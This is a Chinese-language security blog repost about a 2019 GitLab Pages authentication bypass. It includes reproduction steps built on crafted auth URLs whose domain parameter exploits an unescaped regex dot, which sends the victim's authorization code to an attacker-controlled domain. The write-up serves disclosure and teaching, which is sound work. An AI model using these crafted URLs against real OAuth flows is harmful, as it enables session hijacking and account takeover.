gitlab漏洞系列-Gitlab Pages Auth Bypass

admin 2022年4月12日12:49:06评论138 views字数 1433阅读4分46秒阅读模式

gitlab漏洞系列-Gitlab Pages Auth Bypass

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

香港白帽ngalog于2019年10月份向gitlab提交了这个漏洞:

在gitlab.com中绕过了gitlab页面认证的正则表达式

复现步骤

1.登录gitlab,然后访问https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==

2.然后攻击者可以在ronchangitlab中获取访问授权代码。然后他们可以用它来交换受害者的gitlab网页cookie

在受害者访问这个链接https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==之后 受害者被重定向到https://ronchangitlab.io/auth?code=458b99a98056ab28dcd0f8049a2dad418c299aca0a98738afb6c7f4e07573b4c&state=xdgnwM0hmRQ7g5xoevNV6g%3D%3D,授权代码附加到url的查询部分。因为ronchangitlab.io在攻击者的控制下,现在攻击者可以使用受害者的授权代码,并在projects.gitlab.io/auth?code= s_auth_code在gitlab页面中验证为受害者

正则表达式绕过细节

对于 https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==中的参数domain域: https://www.google.com ->失败(401) 使用授权代码https://anything.gitlab.io ->成功(302) 使用授权代码https://ronchangitlab.io ->成功(302) 正则表达式是用.绕过,我认为后端是在domain中使用.,而.是正则表达式中的通配符,这使得这种绕过成为可能

受害者访问此链接后https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==

受害者被重定向到https://ronchangitlab.io/auth?code=458b99a98056ab28dcd0f8049a2dad418c299aca0a98738afb6c7f4e07573b4c&state=xdgnwM0hmRQ7g5xoevNV6g%3D%3D并在 url 的查询部分附加授权码。

由于 ronchangitlab.io 处于攻击者的控制之下,现在攻击者可以使用受害者的授权码,并在 projects.gitlab.io/auth?code=VICTIMS_AUTH_CODE 中使用它在 gitlab 页面中作为受害者进行身份验证


原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-Gitlab Pages Auth Bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月12日12:49:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gitlab漏洞系列-Gitlab Pages Auth Bypasshttp://cn-sec.com/archives/899593.html

发表评论

匿名网友 填写信息